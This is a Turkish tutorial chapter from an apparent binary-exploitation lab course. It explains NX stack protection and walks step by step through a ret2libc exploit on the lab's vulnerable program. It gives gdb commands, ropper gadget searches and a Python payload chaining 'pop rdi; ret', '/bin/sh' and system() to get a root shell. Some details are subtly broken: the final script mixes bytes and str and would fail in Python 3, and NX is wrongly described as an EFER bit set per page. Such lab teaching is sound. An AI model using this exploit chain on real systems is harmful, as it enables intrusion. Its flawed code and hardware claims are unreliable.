Skip to content

Latest commit

 

History

History
372 lines (323 loc) · 16.7 KB

0x2.md

File metadata and controls

372 lines (323 loc) · 16.7 KB

Hedefimiz

Önceki bölüm ile aynı hedefe sahibiz, programın akışını değiştirerek bir shell çalıştırmak.

Kod analizi

Tahmin ediyorum ki bu bölümü okumadan önce kodu incelediniz ve de önceki bölüm ile birebir aynı olduğunu gördünüz. Hayır merak etmeyin bir hata falan yok, kodumuz ve hedefimiz aynı. Bu bölümdeki değişiklik kodda değil, kodun derlenme şeklinde...

NO EXECUTE!!

Derlemenin neden bu kadar önemli olduğuna gelince, eğer önceki bölüm için yazdığınız exploiti bu bölüm üzerinde denerseniz segfault alıcaksınız ve exploit başarısız olacak.

Bunun sebebi önceki bölümde derleme aşamasında derleyiciye execstack isimli bir argüman sağlamam. İsminden de anlayabileceğiniz gibi bu argüman stack üzerindeki kodun çalıştırılabilir olmasını sağlıyor. Bu opsiyon olmadan stack üzerindeki alan çalıştırılamaz olduğundan kodumuz stacke dönüş yapmaya çalışınca segfault hatası ile karşılaşıyor.

Stack üzerindeki kodun çalıştırılamaz olması, önceki bölümde yazdığımız gibi shellcode çalıştırmayı önlemek amaçlıdır. Sonuçta programın kendisi stack üzerinde kod çalıştırmadığından stackin bellek bölgesini çalıştırılabilir yapıp gereksiz bir saldırı noktası oluşturmaya gerek yok değil mi?

Peki bu stack'i çalıştırılamaz yapma olayı tam olarak nasıl çalışıyor? Bu aslında CPU'nun bir özelliği, sanal bellek adresinde belirli alanları çalıştıralamaz olarak işaretlemek için NX biti olarak adlandırılan bir özellik.

execstack opsiyonu belirtince GCC ELF headerında, PT_GNU_STACK bölümü altında, PF_X flagi ile stack'in bellek segmentini "çalıştırılabilir" olarak işaretliyor. Daha sonra kernel ELF programının çalışması sırasında bu headerı okuyor, ve stack executable mı diye kontrol ediyor. Eğer executable değilse, stack'in yer aldığı sanal bellek sayfası için NX bitini (EFER register'ının 11. biti) 1 olarak ayarlıyor, diğer türlü 0 olarak ayarlıyor.

Daha fazla detay kernel'in arch/x86/include/asm/elf.h header dosyasında bulunabilir:

/*
 * An executable for which elf_read_implies_exec() returns TRUE will
 * have the READ_IMPLIES_EXEC personality flag set automatically.
 *
 * The decision process for determining the results are:
 *
 *                 CPU: | lacks NX*  | has NX, ia32     | has NX, x86_64 |
 * ELF:                 |            |                  |                |
 * ---------------------|------------|------------------|----------------|
 * missing PT_GNU_STACK | exec-all   | exec-all         | exec-none      |
 * PT_GNU_STACK == RWX  | exec-stack | exec-stack       | exec-stack     |
 * PT_GNU_STACK == RW   | exec-none  | exec-none        | exec-none      |
 *
 *  exec-all  : all PROT_READ user mappings are executable, except when
 *              backed by files on a noexec-filesystem.
 *  exec-none : only PROT_EXEC user mappings are executable.
 *  exec-stack: only the stack and PROT_EXEC user mappings are executable.
 *
 *  *this column has no architectural effect: NX markings are ignored by
 *   hardware, but may have behavioral effects when "wants X" collides with
 *   "cannot be X" constraints in memory permission flags, as in
 *   https://lkml.kernel.org/r/[email protected]
 *
 */

Stack'in executable olduğu bir program çalıştırınca, bu aynı zamanda kernel kayıtlarına düşecektir (dmesg ile kayıtları okuyabilirsiniz).

Farklı bellek korumaları kontrol etmek

NX ile stacki executable yamak, ilk bölümde bahsetiğim bellek korumalarından biri. Bu bellek korumalarını kontrol etmek için, pwntools'un bir parçası olan (makinede kurulu gelen) checksec isimli bir aracı kullanacağız:

pwn checksec 0x2.elf

Bu size hangi bellek korumalarının aktif olduğunu gösterecektir:

root@o101:~/0x2# pwn checksec 0x2.elf
[*] '/root/0x2/0x2.elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Gördüğünüz gibi 0x2 için NX koruması açık.

Özetlemek gerekirse artık stack üzerinden kod çalıştırmamız mümkün değil, bu exploit etmemiz imkansız mı demek? Tabiki hayır!

ret2libc

Hatırlarsanız, dönüş adresinin kontrolü hala bizde, sadece belirli bir adres aralığına dönüş yapamadığımız gerçeği bizim için birşey değiştirmiyor, hala dönüş yapabileceğimiz birçok adres var.

Örneğin programın içinde olan bir adrese dönüş yapabiliriz, bunun yanı sıra programın çalışması için runtime'da yüklenen librarylerden birine ait bir adrese de dönüş yapabiliriz.

İşte burda ret2libc isimli bir metodu kullanacağız. Her standart program gibi bu program da GNU C librarysine (glibc) karşı linklenmiş durumda, bunu ldd komutu ile de görebilirsiniz:

ldd 0x2.elf

Bu library C dili için ana fonksiyonları sağladığından oldukça geniş. Bu durum bize dönüş yapabileceğimiz bir sürü adres sağlıyor. Farklı adreslere dönüş yaparak kodun akışını yine istediğimiz gibi kontrol edip bir shell çalıştırabiliriz.

Bu, farklı kod parçalarını içeren adreslere dönüş yapma tekniğine genel olarak ROP (return-oriented programming, dönüş tabanlı programlama) deniyor. Spesifik olarak libc adreslerine dönüş yaptığımızda ise bu teknik ret2libc olarak sınıflandırılıyor.

Şimdi teoride exploitimizi kurguladığımıza göre pratiğe geçelim.

Exploit

/bin/sh shell'ini çalıştırmak için kullanabileceğimiz bir kaç farklı fonksiyon mevcut, shellcode da olduğu gibi execve veya benzerlerinden (execvp, execle vs.) birini kullanabiliriz. Fakat biz (daha sonra göreceğiniz üzere işleri biraz daha kolaylaştırmak adına) system fonksiyonunu kullanacağız.

Kullanımı gayet basit (man system):

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);

DESCRIPTION
       The  system()  library  function  behaves as if it used fork(2) to create a
       child process that executed the shell command specified  in  command  using
       execl(3) as follows:

           execl("/bin/sh", "sh", "-c", command, (char *) NULL);

       system() returns after the command has been completed.

Bu fonksiyona sadece bir komutu argüman sağlamamız lazım, o da bizim için komutu bir child process altında execl fonksiyonu ile çalıştıracak.

Sanırım sorunun farkına varıyorsunuz, systemin adresine dönüş yaparak systemi çağırabiliriz, ama nasıl /bin/shı bir argüman olarak geçeceğiz ki? Merak etmeyin buna geleceğiz, önce bir systemin adresine dönelim. Bunun için önce systemin adresine ihtiyacımız var. Bunu bulmanın birkaç yolu var, gdb ile yapabiliriz:

gdb ./0x2.elf
run

Burda input kısmına Ctrl+C yaparak programa interrupt gönderebilirz, ya da uzun bir metin girerek segfault'a sebep olabiliriz, sadece bir şekilde programı sonlandırmamız lazım, bunun için breakpointde koyabilirsiniz, bundan sorna tek yapmanız gerek system adresini print etmek:

(gdb) p system
$1 = {<text variable, no debug info>} 0x7ffff7e26c30 <system>

Komutu ile system fonksiyonun adresini alabilirsiniz. Hadi bunu dönüş adresine yazmak için exploitimizi yazalım:

from struct import pack

filler  = b"A"*40
system  = pack("<Q", 0x<system'in adresi>)

f = open("/tmp/ex", "wb")
f.write(filler+system)
f.close()

Fakat henüz hazır değiliz, bir şekilde, /bin/sh'ı argüman olarak systeme vermemiz lazım.

Assembly'de bir fonksiyonun diğer fonksiyonu çağırmadan önce yapması gerekenleri, argümanların nasıl fonksiyonlar arasında iletileceğini ve de dönüş değerinin nasıl yapılacağını belirten bir standart var. Biz buna Calling Convention diyoruz. Farklı mimarilerin ve farklı işletim sistemlerinin conventionları farklı. Ama genel olarak terimler aynı. Hadi aşağıdaki örnek üzerinden gidelim:

#include <stdlib.h>

void foo(){
    return;
}

void main(){
    foo();
    return 0;
}

Bu programda, main fonskiyonu foo fonksiyonunu çağırıyor. Bu durumda biz main fonskiyonuna caller ve foo fonksiyonuna da callee diyoruz. Bir x86_64 Linux sisteminde, bu çağrı durumunda assembly seviyesinde aşağıdakiler gerçekleşir:

  • Caller birinci, ikinci ve diğer takip eden argümanları sırası ile aşağıdaki registerlara koyar:
    • rdi: İlk argüman
    • rsi: İkinci argüman
    • rdx: Üçüncü argüman
    • rcx: Dördüncü argüman
    • r8: Beşinci argüman
    • r9: Altıncı argüman
  • Caller callee için yeni bir stack frame oluşturur
  • Caller callee'ye çağrıda bulunur (call)
  • Callee işlemini bitirince dönüş değerlerini sırası ile aşağıdaki registerlara koyar:
    • rax: İlk dönüş registerı
    • rdx: İkinci dönüş registerı
  • Callee kendi stack frameini siler
  • Callee caller'a kaldığı yerden geri dönüş yapar (ret)

Bu yeni edindiğimiz bilgiler ışığında artık, /bin/sh argümanını rdi registerına koymamız gerektiğini biliyoruz, ama hala iki sorun var:

  • /bin/sha işaret eden bir adres nasıl bulacağız?
  • Bu adresi rdia nasıl yazacağız?

Hadi ilk sorun ile başlayalım. GNU C librarysi içinde aslında /bin/sh stringi mevcut. Bunu strings komutu ile bulabiliriz:

strings -a -t x /usr/lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"

Bu size glibc içindeki adresini vericek, bunu glibc'inin bellekde yüklendiği adrese ekleyerek /bin/shın gerçek adresini bulabiliriz. Bu yükleme adresini bulmak için gdb içinde:

info proc map

Komutunu çalıştırabilirsiniz. bu size birkaç tane glibc girdisi gösterecek. Program aslında sadece bir kere glibc'yi yüklüyor. Fakat glibc'nin farklı izinlere sahip farklı segmentleri olduğundan birden fazla glibc var gibi görünüyor. Bizim aradığımız adres ilk baştaki glic'ye ait olan "Start Addr".

Bu adresi strings'den bulduğumuz adrese ekleyerek /bin/shın adresini doğrulayabiliriz:

(gdb) x/s 0x7ffff7dd9000+0x199e28
0x7ffff7f72e28: "/bin/sh"

Güzel artık elimizde /bin/sh stringine işaret eden bir adres var, şimdi ikinci sorunu halledelim, bu adresi rdia nasıl yacağız? Sadece stack'i kontrol ediyoruz, registerların üzerine yazmamız mümkün değil. Ya da öyle mi?

Gadget vakti!

Farkettiniz mi bilmiyorum ama dönüş adresini sadece bir kere kontrol etmiyoruz, yaptığımız çağrı programı çökertmeden ret komutuna ulaştığı sürece dönüş adresini kontrol edebiliriz ve birden fazla adrese dönüş yapabiliriz.

Bu bilgiyi gadget bilgisi ile birleştirmemiz lazım. Gadget ya da şuanki exploitimiz için ROP gadget dediğimiz şey programın akışını manipüle etmemize yardımcı olan küçük komut parçaları. Dönüş adresini kontrol ediyoruz sonuçta değil mi? İlla da bir fonksiyona dönüş yapmak zorunda değiliz, sadece belirli bir komut parçasına dönüş yapabiliriz, sonunda rete eriştiğimiz sürece program akışı hala bizim kontrolümüz altında.

rdiya veri yüklmenin tek yolu, stack'den veriyi poplatmak olacaktır. Veriyi stack'e yerleştirip pop rdi komutunu çalıştıran bir adrese dönüş yaparsak rdia stackden istediğimiz veriyi yükleyebiliriz. Ha tabi, pop rdidan sonra ret komutunun gelmesi lazım. Bu sayede kaldığımız yerden devam edip system çağrısını yapabiliriz.

Tamam yani pop rdi ve arkasından ret çalıştırcak bir gadget'a ihtiyacımız var, bu gadget'ın adresini nasıl bulacağız? Önceden dediğim gibi, glibc oldukça geniş bir library elbette içinde pop rdi ve arkasından ret çalıştıran bir adres vardır.

Bu adresi bulmak için ropper isimli bir (makinede kurulu gelen) gadget bulma aracını kullanacağız. Bu araca alternatif olarak ROPgadget ve ropr isimli iki araç daha mevcut, dilerseniz bu araçları da kullanabilirsiniz (bu araçlar makinede kurulu değil). Ben kullanımı rahat olduğundan ropper ile devam ediyor olacağım.

ropper ile istediğimiz gadgeti glibc içinde bulmak için:

ropper --file /usr/lib/x86_64-linux-gnu/libc.so.6 --search "pop rdi; ret"

Bu komut size yine /bin/sh durumunda olduğu gibi glibc içindeki adresini vericektir. Bunu gdb'deki glibc adresine ekleyerek asıl adresi bulup doğrulayabiliriz:

(gdb) x/1i 0x7ffff7dd9000+0x0000000000026265
   0x7ffff7dff265 <iconv+181>:  pop    rdi
(gdb) x/1i 0x7ffff7dff266
   0x7ffff7dff266 <iconv+182>:  ret

Herşey hazır şimdi hepsini bir araya koyalım:

from struct import pack

filler = b"A"*40
poprdi = pack("<Q", 0x<gadget adresi>)
binsh  = pack("<Q", 0x</bin/sh adresi>)
system = pack("<Q", 0x<system adresi>)

f = open("/tmp/ex", "wb")
f.write(filler+poprdi+binsh+system)
f.close()

Şimdi exploitimizi test etme vakti:

python3 exploit.py
gdb ./0x2.elf
r < /tmp/ex

Veeee... başarısız olduk?

(gdb) r < /tmp/ex
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/0x2/0x2 < /tmp/ex
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Hello, what's your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe!

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e2691b in ?? () from /usr/lib/x86_64-linux-gnu/libc.so.6

Program segfault ile sonlandı. Bu ilginç işte, eğer systeme bir break point koyarsanız bu adrese eriştiğimizi, aynı zamanda info registers ile rdiın doğru adrese sahip olduğunu doğrulayabilirz.

Segfault system fonksiyonun içinde gerçekleşiyor, hadi segfault'u aldığımız tam komutu bir inceleyelim:

(gdb) x/1i 0x00007ffff7e2691b
=> 0x7ffff7e2691b:      movaps XMMWORD PTR [rsp+0x50],xmm0

Bir movaps komutu sırasında segfault alıyoruz. Assembly biliyorsanız sorunu büyük ihtimalle çoktan çözdünüz. Sorun stack'in hizalaması ile ilgili.

Derinlere bakmak

Calling conventionlarını detaylı incelerseniz, "Caller clean-up"'ın "Variations" kısmında Linux sistemlerinde GCC versiyon 4.5'ten itibaren stack'in 16 byte sınırlamalar ile hizallandığını göreceksiniz.

Yani callee caller'dan çağrı aldığında stack'in 16-byte bir sınırlama ile hizalanmış olmasını bekliyor. Burda movaps komutunda segfault alıyoruz çünkü bu virgüllü sayılar ile uğraşmaya yarıyan SSE komutlarından biri ve stack'in 16-byte ile hizalanmasını bekliyor. Callee yani system stack'in zaten 16-byte illa hizalandığını düşündüğünden stack üzerinde bir modifikasyon yapmadan movapsi çağırıyor ve segfaulta neden oluyor.

Bu durumda çözüm stack'i 16-byte ile hizalamak olacaktır. Segfault sonrası info reg ile rsp registerına bakarsak 16 byte ile hizalanmadığını göreceksiniz:

(gdb) info reg
rax            0x7ffff7fb8d58      140737353846104
...
rsp            0x7fffffffe6f8      0x7fffffffe6f8

Bu durumda rsp 0x7fffffffe6f8 değerine sahip (tabiki sizde farklı olabilir), bunu pythonda 16'ya bölmeyi deniyebiliriz:

root@o101:~/0x2# python3 -c 'print(0x7fffffffe6f8/16)'
8796093021807.5

Gördüğünüz gibi tam bölünmüyor, hizalamak adına üzerine bir 8 daha ekleyebiliriz:

root@o101:~/0x2# python3 -c 'print((0x7fffffffe6f8+8)/16)'
8796093021808.0

Yani stack'e system adresinden önce bir 8 byte daha eklememiz lazım. Sadece yer doldurmak için kullacağımız bir adres olacağından ideal olarak sadece ret komutunu çalıştırcak bir adres iyi olur. Bunun için önceki gadget'ımızı kullanabiliriz. Önceki gadgetımız pop rdi'ın arkasından ret çalıştırıyordu. Tek yapmamız gerek adrese 1 eklemek, bu sayede sadece retin adresini alabiliriz. Tabi illa bu reti kullanmak zorunda değilsiniz, programın içinden bir ret adresi seçebilirsiniz, ya da ropper ile herhangi bir ret adresi bulabilirsiniz.

Hadi şimdi exploitimize bu yeni ret adresini ekleyelim:

from struct import pack

filler = b"A"*40
poprdi = pack("<Q", 0x7ffff7dff265) # pop rdi; ret
binsh  = pack("<Q", 0x7ffff7f72e28) # /bin/sh
ret    = pack("<Q", 0x7ffff7dff266) # ret
system = pack("<Q", 0x7ffff7e26c30) # system()

f = open("/tmp/ex", "wb")
f.write(filler+poprdi+binsh+ret+system+"\n")
f.close()

Yeni exploitimizi denemek için:

root@o101:~/0x2# python3 exploit.py && (cat /tmp/ex; echo; cat) | ./0x2.elf
Hello, what's your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe!
id
uid=0(root) gid=0(root) groups=0(root)

Ta-da! NX bellek korumasına rağmen shell çalıştırmayı başardık.

Important


Önceki | Sonraki